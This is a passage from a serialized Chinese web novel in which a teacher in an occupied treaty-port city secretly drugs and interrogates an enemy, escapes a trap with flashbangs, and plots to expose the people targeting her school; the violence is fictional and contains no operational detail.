“怎么会不放人呢?那些英国人不就是想要钱吗?他们是不是想要个更高的价,故意在拿乔?”王老师不可思议。 方校长急忙把话筒递给了她,几个人凑过去,听符律师在电话里说:“他们说得很认真,几位,那两名学生真的没有说什么犯忌的话?” 方校长斩钉截铁:“我们问过了,真的没有。您不是前几天就仔仔细细问过了吗?他们也就是嚷嚷了几句类似‘成天到处抓抗倭人士,不知道的,还以为你们是倭国巡捕房’这类话,这……话是说得过了一点,可怎么都跟抗倭扯不上关系吧?对了,巡捕房怎么说?” “他们说学生激进抗倭,诸位,我想你们要做好准备,对方,可能不是冲着保释金来的。” 这就对了! 春妮豁然开朗:如果英方真的想靠莫须有的罪名发笔小财,他们动手的机会太多了。真会那么笨,选择在众目睽睽之下动手?何况他们抓走的是两个穷学生,如果学校因为他们的罪名不敢伸出援手,这两个人身上不可能榨出油水,他们费这力气抓人不是白折腾一场,还要浪费几碗牢饭? 何况,她对巡捕房办事的步骤极有疑虑,让接电话的王老师问符律师:“巡捕房抓人没有流程吗?真的会不先说明罪名,就来抓人?” “呃——这个很难说。你们知道的,很多巡捕都是青帮子弟,可能连字都不认识几个,而且不是所有行动都适合摆在台面上。他们在抓捕中会干什么事,这我们谁都不知道。” “好吧,我换个问法。在明明是误会,还差点被围攻的情况下,巡捕们仍然会坚持不说明抓捕人的罪责,选择将错就错,带走围观群众吗?” 王老师忙一五一十地转告了她的话。 符律师明白春妮的意思了:“你们是猜测,他们在有意扩大事态?” 不止符律师明白,办公室里的其他人也明白了。 方校长惊道:“难道这些人不是针对学生,是针对学校来的?这是赵发财最后的目的?搞垮学校对他有什么好处?” “不管针对谁,众目睽睽下,他们不能把白的说成黑的。我们的学生是清白的,他们查不出证据,就没法把人怎么样。”王老师忿然道。 “道理是这个道理——”韩厂长没说下半句话,可在坐的成年人也好,未成年人也好,都懂。不上法庭,在监狱里把人弄死弄残的办法多多了。 “你们仔细想想,学校最近跟人结了什么仇没有。”符律师提醒道。 要说结仇,那可多了去了……光是工厂的崛起就挡了多少人的道,抢了多少人的饭碗,一个一个数得过来吗?不是只有得罪人才叫结仇。 “我去找赵发财。所有的事都是从他开始的,我就不信,他真的什么都不知道。”春妮捋起袖子,站起来往外走。 第108章 108 白光 找到赵发财这件事, 不需要春妮动手,罗阿水已经布置了好几天。 春妮去时,他和两个护卫队的学生不知从什么渠道找了间阁楼, 斜对着赵发财的家, 正在监视进出他家的人口。 两人找了个僻静地说话。 “阿哥蹲了这几天,有感觉什么不对吗?像是……这几天他家有没有奇怪的人进出?” 罗阿水摇摇头:“没有,进出他家的,只有大夫跟他的店伙保镖。” “那他家有几口人,布局怎么样?” “他家里主子佣人加起来有十好几口人,”罗阿水一顿:“妹子,你该不会是想——” 他面向赵家, 作了个掏手的动作。 春妮没答他:“阿哥先说说吧。” 罗阿水瞅着她,不知在想什么。 春妮只好催促道:“你总要让我先了解情况再说吧。” 罗阿水这才将赵发财家里的情况一一道来。 赵发财妻子早亡, 家里现有两个姨娘,四个女仆,其中两个是老妈子,两个男仆, 并大小孩子六个,都住在弄堂的那栋石库门里。对了, 院子里还有两条听见人走过去就狂吠的狼狗。 这几天赵发财聘请的两个保镖也住了进来,也不知道这么小的房子,是怎么挤下的这么些人。 这也是海城租界特有的怪象, 家财万贯,却全家人挤住在小房子里, 仆妇兄弟不得不共用房间,这样的人家很多。赵发财算是有本事的,住房这么紧张的现在, 他还能弄一整栋房子安置家里的这么些人。 罗阿水只知道这些不用费力气就能得到的消息。石库门院墙高深,门户紧窄,赵发财住在哪间屋,想不惊动人就弄明白,几乎是不可能的事。 春妮站在观察了一会儿,往手心吐出两口唾沫,徒手攀住老虎窗边缘,一个用力,蹬上了屋顶。 下边罗阿水小声叫她:“这上边看不到什么,你快下来吧。” 春妮爬上屋脊,拿出望远镜架在了眼睛上。 在春妮的望远镜里,赵发财没住在二楼最好的主人房,而是在三楼那个带阳台的小阁楼里。小阁楼的窗帘半拉起来,时不时有穿旗袍的女人,或是穿对襟短衫,梳大辫子的女仆进出,春妮看不见里边的情形,但从她们的神态和装扮中,基本可以判断屋里人是谁。 至于这些女人的神态……算了,赵发财原本就是个老色胚,她早该预料到的。 在此期间,春妮让罗阿水打发两名学生,让他们领着人再去一趟巡捕房,调查跟几位学生住在一间牢房的狱友,以及看守和负责这次案件的人。 后两者学校已经打听过,倒是第一个他们还没想到,学生点头记下离开。 春妮原本想让罗阿水去,但罗阿水猜到她想干什么,他怎么也不肯走,还说:“赵家家里人多,你再有本事,也不可能同时对付这么多人。你让我跟你一起,有事也好给你撩个阵。” 春妮支不走他,只好随他去了。 时间一分一秒,渐渐走到晚上十一点钟,赵宅里的灯一盏一盏熄灭,终于,只剩下了赵发财房间里的那一盏。 春妮透过薄薄的窗帘,只能判断出他房间里始终有人在不时走动。而到了夜里两点钟,他房间里的灯还没灭,已经没有什么走动的人了。 “行动吧。”再等下去,过几个小时天就要亮了。 靠近赵家宅子之前,春妮给了两个布罩让他套上,再叫他摒住呼吸,拿出一支麻醉|剂,往狗窝那边扔了过去。玻璃瓶碎裂的声音让狗呜噜了一声,但很快就没有了声音。 随后,两个人从后边的院墙翻进院子进入了前堂,她先走到狗窝前,谨慎地拾起破碎的玻璃瓶收好。再拿出一瓶压力喷瓶,一块毛巾和两瓶液体,一瓶倒进喷瓶中,另外一瓶倒在了毛巾上。每打开一间房,先用压力瓶喷洒,再用毛巾捂,没一会儿,整个房子,包括院子里的两条狗全都陷入了昏睡中。 这些可是纯度很高的麻|醉药乙|醚,完全没有酒味,只有些许的甜味,这个年代都不知道有没有这样高明的提纯技术,太浪费了,用来干这种事。 春妮做这些的时候没注意,做完了才发现罗阿水看她的眼神不大对劲。 春妮只得轻声咳嗽一声,道:“这是港城的新货,好像效果还不错。” 罗阿水:“……”药不药的不重要,你溜门撬锁这么熟练,真的以前没干过这种事? 最后,他跟着春妮到了赵发财的房间前。 不用开门,两人先听到了屋里如雷的鼾声,他果然已经睡熟了,只是不知为什么没有关灯。 春妮很谨慎地将门撬开一条缝,先朝房里喷够足量的乙|醚,又谨慎地等了一会儿,才推开门走了进去。 房间里还残留着些许乙|醚特有的甜香,亮晃晃的电灯下边,是床上两具叠在一起,赤身摊睡的身体。 春妮视而不见,后边的罗阿水却没有那么镇定了。他顿时手忙脚乱,拉了一下门口的灯绳,电灯咔啪一声灭了。 黑暗骤然来袭,让她心头隐约不安。 但干这种事,黑一点更好。她没再多此一举拉亮电灯,认准床上那头肥猪的脸,把从桌上顺来的半壶残茶全倒在了他脸上。 赵发财呜哝了一句,还不知今夕何夕。 春妮再给他两巴掌,这下他彻底清醒了过来。 她捏住他的喉咙:“不准喊,敢喊我一刀杀了你,明不明白?” 他点头如捣蒜,从喉咙里挤出话来:“别,别杀我。你要什么我都给。” “江浦学校出的事,谁在背后给你出主意?” 赵发财目光闪烁:“什……什么学校?” 一柄匕首插进他的左手臂, 赵发财大声惨叫。 春妮冷声道:“叫一声,我砍一刀。”说着,干脆利落地拔|出匕首,果真在他腿根处又割了一刀,冷笑道:“既然管不住□□里的东西,不如我帮你一把,再下一刀,把它切了,你说怎么样?” 赵发财终于意识到,面前这人不是在吓唬他。她说要下手,是真的会下手的,不敢再耍花枪,颤声道:“是,是谭老菊让我做的!都是他出的主意,小顾——女,女侠,你去找他,真不是我要干哪!” 这个赵发财,果然是认得她的。不过也不奇怪,她在码头驻扎这么久,常来附近行走的,有哪一个不认识她?她原本也没打算遮掩行踪。 春妮接着逼问:“谭老菊是谁?” “他是——” 没等他说完,春妮眉头一动,冲罗阿水作了个手势:“你去看看,外边是不是来了人?” 赵发财神色有一瞬间的激动。 春妮心里有了数,果然罗阿水进来,作了个确认的手势。 来得好快! 赵发财从两人神色中得到了足够的信息,说话突然又吞吞吐吐的了:“谭老菊,他是,他是,是——” 罗阿水用手敲击门框,焦急地催促。 春妮再不迟疑,手起刀落,冲着他的□□一刀剁下!同时,另一只手在赵发财张嘴之前,将没用完的迷药帕子牢牢捂住他的口鼻。 既然来了,就先收点利息。 这头让人恶心的肥猪脸上痛苦地扭曲着,却又很快平静下来,合上眼皮渐渐不动了。 春妮从赵发财房间撤退时,穿着黑衣的人隐隐将这栋房子包围起来,已经快上到了二楼。 赵发财家,是个陷阱。 是什么人会设下这个陷阱?他想干什么?那个人针对的是她吗? 春妮脑海中闪过这两个问题,听罗阿水在她耳边道:“你先从那边走,我来断后——” 春妮摆摆手,侧身藏到楼梯间后面,沉下心思,计算着那些轻到几乎无声的脚步声。 一下,两下,三下…… “闭眼!” 她低喝一声,猛地甩出一样东西! 顿时,巨响声中,数道强烈的白光猛地爆开,刺得人几乎睁不开眼。 “啊!我的眼睛!” “什么东西?我的眼睛看不见了!” 哭喊声中,两人攀上阁楼顶端,瞅准人最少的方向,一跃而下。 在此期间,春妮又用掉了数个闪|光弹【注】,总算将包围圈撕开一条口子,逃了出来。 她顾不上心疼那些用掉的闪|光弹,今晚的事让她越想越迷。 “我们现在去哪?”罗阿水紧跟着春妮,将枪取了出来警戒。 春妮让他收好枪:“那些人没想要我们的命,你小心,别再‘走火’了。”说着,她辩认了一下方向,转身朝学校的方向跑去。 她本能地觉得,现在如果回家,可能会有事发生。 赵发财家也在码头附近,离学校不远,步行用不到十五分钟。是以,他才能天天有事没事就跑来骚扰老师。 两人绕了一个大圈子,直到确定身后再没有追兵,终于走到了学校所在的路口。 对面又长又狭的黑巷子像黑洞一样,怎么也看不清里头的景象。似乎有一张无形的网藏在后面,只等着一头撞上来的小虫子。 料峭的西北风送来让人不安的味道。 春妮再不迟疑,提着枪,拨开保险栓,眼睛死死盯着黑暗中的巷子,一步一步,往后退去。 “你是不是发现了什么问题?”罗阿水忙问她。 她什么也没发现。 但不一定需要发现了什么,才能够作出反应。沙漠里的老狼在风暴来临前,总会嗅到一点沙土的泥腥气。 春妮在末世中长大,对危机的判断已经刻在骨髓中。 她问罗阿水:“你有没有比较安全的地方让我们躲一晚上?” 她只是随口一问,自己也在脑海中筛选。罗阿水才来海城三个多月……不想他思索片刻,让春妮转了个方向:“你跟我来。” 两人离开之后,幽深的巷子里,有人问:“追不追?” “追什么追啊?没看见她都发现我们了?” “可上面交代我们的……” “我就问你,她有枪,你怎么追?这小娘们是真的会杀人的!” “那上面问起来的话——” “你他娘的不会说她今天没往这来?” “……” 第109章 109 目标 罗阿水带春妮去的地方, 她怎么都没猜到。 罗阿水掏出钥匙,边开门边跟春妮解释:“阿福找了个夜里给人看仓库的活,这里只有他一个人住, 最适合藏人了。” “阿福?”春妮盯着他手里的钥匙, 挑挑眉。 “咳,就是严广福,”他打开仓库门:“先进来再说吧。” 这个时候,春妮也不好问罗阿水怎么还在跟严广福来往,手里还有他的钥匙。倒是罗阿水跟她解释说:“有时候阿福夜里不 在,会托我来这里帮他看守一晚上,他付我工钱。” 严广福搬回学校附近住没多久, 他工作的俱乐部发现了他私开赌局的事,于是, 他俱乐部的工作也丢了。校长便将他安排到李铁柱的多米诺团队中,让他有活的时候跟着做,不至于饿死,估计也是为了就近管教。 “是夜里又开赌局去赌了吧。”春妮讽刺道。 “你先休息, 我帮你警戒。”罗阿水避开了这个危险的话题。 “不用,没人追过来。阿哥也休息一会儿吧。”春妮打了个呵欠。从上船开始, 她就没有休息好,这会儿看见床,止不住的犯困。 然而这一晚上, 她也没怎么睡好。 他们暂时栖身的这个仓库在江浦码头的最东边,临近苏河南岸。春妮来这里来得不多, 可她知道,对岸是华界,这边一到半夜就有人悄悄跳下苏河, 游到对岸去夹带物资。 只要在对岸的铁丝网上撕开条口子,不被巡逻的倭国人逮住,不管带什么东西回来,就能倒手卖出去,这足以让大多数走投无路的人铤而走险。对此,工部局睁只眼闭只眼。以至于夜里的走私行动开始成群结队,形成了不小的气候。 天还没亮,仓库外边传来了踢踢打打的脚步声。 春妮立刻惊醒,有钥匙捅入锁眼的声音。 罗阿水也醒了过来,作了个噤声的动作,摸出枪贴着墙将门打开。 “哇!”严广福吓了一跳:“大哥,是你啊?你不声不响地在这,真吓死个人了。” 罗阿水推他到门外:“你先出去,我有话跟你说。” “什么话……”严广福咕哝着,又叫一声:“什么?!哦哦,行,我知道,知道。阿哥——”突然,一颗脑袋探进来,跟春妮对视个正着。 他顿时眼睛瞪大,惊得往后一仰,没等说话,一只手臂伸进来,又把他脑袋薅出去了。 “阿水哥,让他进来吧。”春妮这时已经坐了起来,“我有话跟他说。” 他们不能总躲在这里,这里白天人会多起来。还有,学校那边,情况也不知道怎么样了,她都需要了解。 更要紧的,背后的人到底还准备了多少后手,她必须尽快弄清楚。 那些人明显是冲着她来的,现在她不方便出面,这些事都必须要有所安排。 ………… 傍晚,吴江口 远航的巨轮呜鸣着缓缓靠港,岸边,接站的人群一涌而上,然后又在倭国军警的打骂中惊恐地退出警戒线之外。 在这种时候,年轻单薄的少年总是会更加吃亏。 人们都急着见到远行的亲朋,也就未曾注意,原本最前方的位置,有两个单薄的男孩子差点被他们猛地冲撞之下,挤得摔倒在地上。 随后,是轮船终于靠港,趸船再轻微地晃动了几下。 两个男孩终于站稳,开始焦急地寻找自己的目标,轮船上的人已经开始往下走。 “在那!”个子高点的男孩急忙挥起手叫:“德三哥,铁柱哥,区——” “怎么了?怎么不叫了?”矮点的男孩看不到前面的情形,跳着赶紧催促他:“快叫啊。你忘了我们来之前,校长怎么交代我们的?” “巡警!”高个子男孩拉住他,紧张低语:“我的天,租界的巡警跟着我们来了!” “巡警为什么会跟着我们?”矮个子男孩蒋四成有一瞬间慌张。但随即想到,或许那几个巡警不是跟着他们来的,而是从校长口中听见今天轮船的到港时间,专门来码头堵人来了。 李德三离开之后,暂时关闭了小摊的夜间生意。蒋四成负担起白天的部分,每天最早一个到学校支起摊子,负责熬煮胡辣汤和卤煮,承担起整个白天的售卖。 他今天像往常一样,天不亮就到了小摊,但没等他去学校库房搬东西,学校那个著名的赌鬼严广福鬼鬼祟祟地找到他,并带他去见了一个人——小顾老师。 到现在,他想起小顾老师说的话,心尖仍然忍不住发颤。 小顾老师说,有一股不明势力的人在针对学校,在针对她,让他马上通知方校长,一定要盯紧了夏生和他家里的孩子,叫他们近期内不要离开学校半步。还让他转告校长,说天亮后可能会有警察找麻烦,让昨天见过她的其他人对外宣称,说她还在回海城的船上,千万不要告诉别人说见过她。还有……还有—— 还有就是现在—— 蒋四成终于看到了他想找的目标,但他也看到了另外几个不该出现在这里的人。 “该死!” 他低声咒骂着,只能眼睁睁看着那几个穿黑色制服的巡捕先他们一步拦在李德三前面,好像马上就要开口说话。 “德三哥!”他用尽力气,嘶吼出声。 人群被他不似人类的嚎叫吓住,安静了一瞬。 他跳起来挥舞双手,脸上的笑容大得夸张,抢先说出最关键的一句话:“德三哥,校长让我们来接你们和小顾老师回去。” 他重重强调着“小顾老师”这四个字,眼神斜指向两个巡捕。 李德三一怔,有一名巡捕似是嗅到不对,脸色一沉,点着他叫道:“喂,小子,你——” 蒋四成只作不见,抢在所有人说话之前连珠炮般说:“今天巡捕房人来学校,非说小顾老师刺伤了赵发财。校长已经急死了,等着小顾老师回去自证清白,小顾老师呢?” 他一边说,一边注意观察三个男孩子的神态:学校拍电报让小顾老师急赶着回来的事情不可能瞒着他们,他们必定也大略知道学校出了什么事, 李铁柱眼神困惑,但仍在谨慎地观察,李德三先是愕然,随即脸色微不可见地一变,最不在状态的是区明,他懵懵懂懂地就要张口:“不是,小顾——” “她在后边吧,”李德三忽然抬手挠头,手肘似是无意地撞了下区明的胸膛,将对方剩下的话全拐了回去:“我们的票不跟她在一起。哦,也说不定小顾老师是先下船了呢?要不我们找找吧?” “你们一起回来的,怎么可能不在一起?”那两名巡警这时才找到机会插话。 “呃,我们买的时候,三等舱只剩下两张票,小顾老师和我坐的是二等舱的船。我们的房间又不一样,这我哪知道。”李德三越说越像那么回事。 蒋四平暗暗松了口气:幸好德三哥关键时候没掉链子,先稳住了情况。 他不再开口,听李德三跟几个巡警交锋。 不一会儿,有人就不耐烦地说:“这些话你给我留着到巡捕房去说,跟我走!” 李德三连忙往后退:“你干什么?干什么?我可是良民,你们不能这么对我!” 这边大声的争执很快引来了两个值勤的倭兵:“你的,在干什么?” 巡警们忙笑道:“没什么,我们是警察,来抓犯人的。您放心,我们马上就走。” 蒋四成见李德三仍在后退,他心中一动,堵住他的退路,两人肢体相撞的那一瞬间,他手里被塞进了一张纸团。 很快,巡警跟倭国人交涉完毕,提着警棍,凶神恶煞地来打李德三等人:“你还想往哪跑!” 李德三不安抱头,叫屈道:“我没想跑啊,警官,你总得告诉我,我犯了什么事吧?” 巡警却不跟他解释:“犯了什么事,你自己心里清楚,快跟老子走!” 这时,蒋四成突然“恍然”叫道:“警官大人,你们不是还在怀疑昨晚夜闯赵家的是小顾老师,赵发财的根是小顾老师断的吧?我们校长不是告诉过你们,小顾老师根本没回海城吗?” 什么?! 三个人几乎没被这个消息砸懵:这一天的时间,小顾老师是干了什么啊! “喂,小子,你是不是也想跟我们走一趟?”一名巡警逼近两步,想来抓蒋四成。 想说的都已经说完,蒋四成不再恋战,游鱼般贼溜溜滑进人群,丢下最后 一句话:“德三哥,你们别怕,巡捕房也不能乱抓人。我这就回学校告诉方校长,让他来救你们。” “他奶奶的!别让老子抓住你!”巡捕恼羞成怒。 “行了,这里是倭国人的地盘,我们抓了人赶紧走吧。”他的另一个同事赶紧制止了他。 ………… 两个小时后,春妮握着手上那张江南轮船公司的船票,长出了一口气。 幸好,她改签的时间仓促,这张船票没卖出去,还让李德三给带回来了。接下来,她得靠它翻盘了。 既然昨天的那个陷阱在针对她和学校,那她绝对不能让人有抓住把柄的可能。赵发财是认出了她,可他没有证据,来的就是她。就像张乾坤,人人都信他清白,可他没有证据证明,只能含冤被关。 她昨天返校,原本就没几个人看到,跟唯一一个外人符律师的通话,也是通过王老师转达。即使对方听见了她的声音,相信他是个聪明人……学校那些知情人都是绝对值得信任的人,她对他们有信心。 那么,再加上这张船票,春妮就有了完美的不在场证明。 她要让赵发财好好看看,什么叫做哑子吃黄连,有苦说不出。 他恐怕做梦都想不到,他对付张乾坤的手段,这么快就报应到了他自己身上! “小顾老师,有了这张船票,你是不是就能回学校了?” 严广福的问话,打断了春妮的思绪。 回学校? 春妮摩挲着船票上凹凸不平的花纹,眯起了眼睛:“不回。” 这么好的机会,为什么急着回学校? 之前是敌暗我明,现在我在暗,她倒要看看,敌还怎么暗? 第110章 110 不急 布置简洁的茶室, 有人低哑发问:“你说,顾春妮,消失了?” “目前来说, 的确是这样没错。” “这么说, 你们失败了?” “这……我们的人仍然在全力寻找她,请您再给我们一点时间。”对面的人重重顿首。 淡黄色的茶水缓缓注入小小的茶杯,那人在腾腾热气中竖起一根手指:“那么,你们需要多长时间?一天,两天,三天……还是,你们自己都不知道?” “这……这, 我们的人正在学校埋伏去抓她的弟弟,她弟弟在我们手里, 她一定会现身!” “晚了。”他轻声一叹:“这个华国女孩有多狡猾,三天前,你们不是已经很清楚了?你觉得,她会放着这么大的弱点, 等你们来抓?” 对面的人不敢抬头。 他同样想起了三天前的晚上,那天本以为他们的布置万无一失, 可她居然毫发无损,冲出了包围圈……想到现场那些属下的汇报,他也不敢肯定, 那个深藏不露的小丫头到底留有多少后手。 可惜了,上面要的是活的顾春妮……如果…… 面前这位正在啜饮茶水的男人, 以他的身份并不能知道他的真实名字,他只允许自己唤他“孤帆”。他只知道,这位孤帆大人是来自上面的大人物, 他于数天前接到这个任务,而在三天前,任务失败的第一时间,他被带到了孤帆大人面前。 大人对他的态度很和蔼,只让他陈述了那小丫头跟他们对战的每一个细节,将她遗留在赵家的物品一一看过,便放他离开了。 他深为懊恼,他办的差事很少得到上面人的垂询,原本这将是一次极好的,得到上峰赏识的机会,他却将它办砸了。赵发财没有住在二楼的主人房,而是在三楼,她是怎么知道的?又是怎么无声无息放倒了那两条恶犬? 他向孤帆保证,接下来,他一定会将功补过,尽快将这狡诈的小丫头当场擒获。 可……想到这三天不断传来的坏消息,他心里充满了无能的愤怒。 江浦学校那些狡猾的家伙全部都不承认见过顾春妮,为了替她洗清嫌疑,甚至还找来了江南轮船公司的船员为她作证,逼迫巡捕房撤下对她的通缉。哪怕她三天以来一直没现身,连张能够证明自己在那条船上的船票都没拿出来。 江致清那老东西,仗着背后有租界的洋人撑腰,以为谁都不用放在眼里了?竟敢公然为人作伪证! 等着吧,等着欧洲那边打起来,那些洋人自顾不暇,看他还敢嚣张到什么时候去! “大人,请再给我一次机会!”他几乎五体投地。 “我真不懂你们的行事准则,既然一开始你们的目标就是顾春妮,抓走她的弟弟,她自然会听命于我们,为什么要做这么多多余的事?” “这……此女颇有才能,我们详细调查过,整座工厂由她一手组建,包括那些近乎天才的营销策略均是出自她的手段,才为工厂带来这么大的利润。我们也是出于惜才,想帮助她,不愿意让她对我们有任何误解,才没有这么做。” 上首那人轻轻笑了一声。 那人心中不安,叫道:“大人?” “华国人有一句话叫什么?得陇望蜀?真是得陇望蜀啊。” “大人——” “你退下吧。” “那顾春妮的事?” “你知道该怎么做,别再让我失望。” 按照他们的计划,顾春妮现在应该乖乖蹲在巡捕房大狱,等待着他们施舍她自由,而不是像现在这样—— 该死的顾春妮,她到底躲在哪? 还有那个会闪光会爆炸的东西,又是什么?她做的吗? ………… 春妮躲在哪,目前知道的,全海城只有一个人。 又是一个白天过去,天刚擦黑,春妮翻了个身。睡了一个白天,她并不安稳,因为她现在的床只是一条发了霉,还散放着恶臭味的草褥子。三天前躺上去之前,让她有一瞬间的后悔,自己没有在空间中多准备一条被子。 不过她也只是那一瞬间的后悔,在船上的时候,路过最危险的海域时,他们时常会整夜戒备海盗,她连充满鱼腥味的甲板都睡过,何况这里还多了条垫褥? 她心里这么膈应,无非是怀疑这条草褥子的上个住客会是得了什么传染病死的,毕竟这里可是英租界唯一的化人所储物室,她身下垫的……事到如今,她也只能安慰自己,躺上去之前她作了充分细致的消毒,理论上是没有一点问题。至于心里不舒服,那就没办法了。 乱七八糟想了很多,直到门外传来有节律的敲击声。 春妮仔细辨听完毕,起身打开了门。 外面的人闪身进来:“小顾老师,今天咱们做什么?”进来的人却是那个全校的反面教材严广福。 三天前,她跟罗阿水在严广福栖身的小仓库躲了一晚上,在天色未明之时,严广福又让她躲进了这处化人所。至于罗阿水,春妮推断,他当天没直接露面,再让严广福出面为他作不在场证明,那些人也不会多此一举,死咬不放,便让他照常回学校上班,免得今天不在,反而被人抓住作文章。 这一点,果然被她猜对了。那天天刚亮,巡捕房就来了人,说有人报案,顾春妮夜闯民宅持械伤人,要抓她去巡捕房提审她。 至于罗阿水,他们也带去了巡捕房。可罗阿水有人为他作不在场证明,他可不是那三个小孩,再有符律师为他保驾护航,第一天没到下午,就被放了出来。 她就确定了,那些人,果然都是冲着她来的。 她原本对严广福这个赌棍没有一点信任,但假如有人要针对她,还设计了这样绵密的计策,明显就是对她很有研究,料准了自己的性子。那么,自己的交际圈子说不定也在对方掌控范围中。她认识的每一个人身边,说不定都不安全。 对方既然这么想抓住她,她当然不能那样容易如其所愿,她得隐藏起来。但如果她向任何一个认识的人求助,就会有曝露的可能,她只能寄望于这个让校长头疼的滑头小瘪三。 只有严广福是以她的社会关系,绝对没人会猜到她会来联系求助的人。 罗阿水说他聪明,也没说错。恐怕谁都想不到,她竟被这 小子领着躲在了这里。而这三天,她对外联系的唯一渠道就是严广福。 三天过去了,那些人找不到她,想必很着急了吧。 想到有人比她更着急,她反而一点也不急了。 春妮让他坐下:“不着急,你先跟我讲,今天外面又发生了什么事。” “没有什么新鲜的。巡捕房这回不敢来人了,”说到这,他喷笑一声:“但是季老师领着一群老师找了过去,站在巡捕房门口骂了大半天,没有一个人敢出来。” 季老师就是那位甩了赵发财两巴掌的剽悍女士,严广福说,这两天巡捕房跑到学校又是抓学生,又是来搜查,引得老师和学生们烦不胜烦,但又怕自己也被抓进去,个个敢怒不敢言。 季老师脾气原本就暴燥,昨天上午,见到又一次来搜查的巡捕,忍不住抱怨两句,却被巡捕骂了一顿,她一时激愤回骂回去,巡捕竟然被她骂得窝着脖子怂了回去。 此消彼长。 季老师乘胜追击,气势如宏领着一干娘子军连骂带打,将人撵出了学校。 巡捕房那边突然怂回去,也是有原因的。 春妮躲在这里三天,夏风萍找朱先生发动他媒体圈的朋友报道了江浦学校的这桩冤案。如今海城的媒体界虽然迫于倭国人压力,不敢对战争作激进引导,也有了些只谈风月不谈国事的迹象,可这个案件明显不涉及倭国人,出岔子的还只是个小小的巡捕房,要是还畏手畏脚什么也不敢写,那媒体界的公信力真的要全完蛋了。 学校又请符律师发动他司法界的朋友向英方施压,他们只是个小小的巡捕房,里面半数巡捕还都是华人,哪里招架得住几方共同施压? 虽然巡捕房目前仍然硬顶着,没如学校所愿放人,但面对学校来人,态度却不敢像先前那样强硬了。 严广福激情横飞,讲完季老师的光辉业绩,问春妮:“小顾老师,你是不是要回去了?” 连他都看清楚了,春妮如今只要拿着船票去巡捕房消一回案,赵发财这事妥妥跟她不会再有任何关系,但是—— “学校附近还有什么奇怪的人吗?” “蒋四成说,还有两个……” 她拍拍严广福的肩:“这几天你辛苦了,回去买点好吃的。”说完,将两枚大洋塞到他手里。 没等严广福再问,春妮整理了一下衣着,快步走出这间恶臭熏人的杂物室。 回去定然是要回去的,但那是在她把那些作怪的小虫子找出来之前,清清爽爽,干干净净地回去。 巡捕房眼看不会再有任何用处,她很期待,对方还会有什么招数。 很久没有陷入到这样的危机中,春妮差点忘了,曾经她也是一个那样出色的猎手。 110-120 第111章 111 快乐 夜色已深, 热闹一整天的学校终于完全安静了下来。 这所码头边的技能学校如今的住客不少。 这些住客中包括了门房那边的韩氏伯侄两人和教室那边的方校长一家人,还有护卫队的学生们,以及一批为数不小的新成员。 学校新建的宿舍楼早在五天前便交付使用, 第一批申请入住的学生和老师当天就塞满了这栋小小的两层楼。 这几个白天发生的事尽管已经日渐平息, 但仍会像涟漪一样,让人心湖间余波不断,至少令这些经过宿舍楼的学生和老师在走过一楼最前边的那间空房子时,总会悄然驻足片刻。 那是小顾老师的房子,小顾老师失去消息有四天了…… 有的人就是这样,平时忙忙碌碌的不见人影,甚至新来的学生都不怎么认得她, 但知道她猛不丁不见了,惹的人心里就像跟那间空空的房子似的, 没着没落的空了一大块。 特别是刚刚搬进学校来住的女同学们,尽管方校长他们都不承认小顾老师曾经回来过,逼着巡捕房放了学生,可暗下里, 大家都悄悄地在猜,赵发财的根, 肯定是小顾老师断的。除了小顾老师,谁会给他们这些无依无靠的穷学生出气?谁会把她们的安全这样放在心上? 同学们都说,以前每天早上到学校, 哪怕小顾老师什么都不做,光是看见她坐在门口的馒头摊子上摆出架式揉馒头, 就特别有安全感。再喝上一碗暖乎乎,料足味美的糊辣汤,简直要美得冒泡。 原本学校扩招之后, 时常来附近闲逛的闲汉地痞也多了不少。小顾老师又经常出门,像赵发财那样,躲着小顾老师找事的人不多,也有七八个。自打他断根的消息传出来后,那些平时怎么撵也撵不走的苍蝇臭虫,忽然就消失不见了。 跟辗转反侧的学生们不同,方校长家里因为孩子多,每天一到晚上九点准时关大灯。大灯关了之后,校长一般还会拧亮小台灯,再工作三四个小时最后熄灯睡觉,雷打不动。 校长家的起居规律连学生们都摸了出来,更何况黑暗中的另一群人。 “他奶奶的,天天按时吃按时睡,我看这个狗屁校长比老子还安稳。” “就是,他白天当着江致清那老东西的面哭得傻子似的,还说自己日夜忧什么的,老子看他睡得比老子还香,他天天躺床上搂婆娘,忧他奶奶个腿儿啊!江致清那老王八蛋还有脸跟他对着演!” “小声点。有人来了。” 几人忙不迭闭嘴,看着黑暗里一列手握长|枪的学生从眼前经过。即使他们摆在外面的,只是白蜡木杆做的红缨枪,但在黑暗中,这一根根反射着银光的枪尖仍是给人以不小的压迫感。 等着那些学生们转过去老远,那道声音才敢继续:“他奶奶的,一个破学校搞得跟军营似的,白天巡晚上巡,教室巡茅坑巡,怎么没巡死他们?” “我说你话怎么这么多?” “我不就是——” “刘老二,信不信你他奶奶的要是再说一句废话,老子削死你。” “……” 又是不知多久过去,天上的月亮移了半个圈,巡逻队又走过去两次,黑暗中终于有人再度出声:“行动!” 随着这一声令下,五六条黑影如黑豹般扑出藏身地,向目标疾奔而去。 为了行动方便,早在数天前,他们便趁白天人多的时候打烂了学校唯一的路灯,如今夜色将他们的身形彻底隐藏起来,即便是刚刚走过去的学生也没能及时发现。 眼看目标将近,为首的人心中微喜:今天晚上终于要成功一回了! 推开了门。 然后,他鼻尖处嗅到了一股极淡的甜香味—— 扑嗵,扑嗵,扑嗵! 春妮放下望远镜:六个人,一个不剩,全麻翻了。 很好,看来她通过严广福转交到方校长手上的麻醉|剂没有被他中饱私囊。 春妮蹲坐在原地,又等了一会儿。望远镜里,终于有巡逻的学生发现他们,一二十个学生涌上去,将这六个人一个不剩地捆了起来。 学生们的叫喊声将整个学校都惊动了。 不止是学校护卫队的成员全跑了过来,就连前边宿舍楼里听见动静的老师和学生们也匆匆穿起衣服来打听情况。 人们打着灯笼,拿着蜡烛,很快将校长家门前照得几如白昼。因为校长一家始终不现身,围过来的人越来越多,越来越激动,眼看这一个晚上都消停不了了。 直到这个时候,春妮才真正松了一口气,至少今天晚上,校长一家人不会再有危险了。 至于为什么外边叫得这么厉害,校长家还没有人出来,不用猜也知道,肯定是她的麻醉|剂分量有点重,麻翻对方的同时,校长他们肯定也中招了。 他们肯定很快会醒,但她已经来不及留在原地查看情况了。 因为,那个在她东南角方向,半天没动弹的人终于动了。 这个人跟校长家门口的那六个人一样,穿着同样的黑衣服。他轻灵地跃下树梢,循例警戒一番,挑了个方向快步离开 。 春妮等了一会儿才跟上。 他挑的那个方向,蒋四成说过,白天有一辆车停在那。这会儿夜深人静,春妮离着老远,便听见车子发动的声音。但没响多久,车子就熄火了。 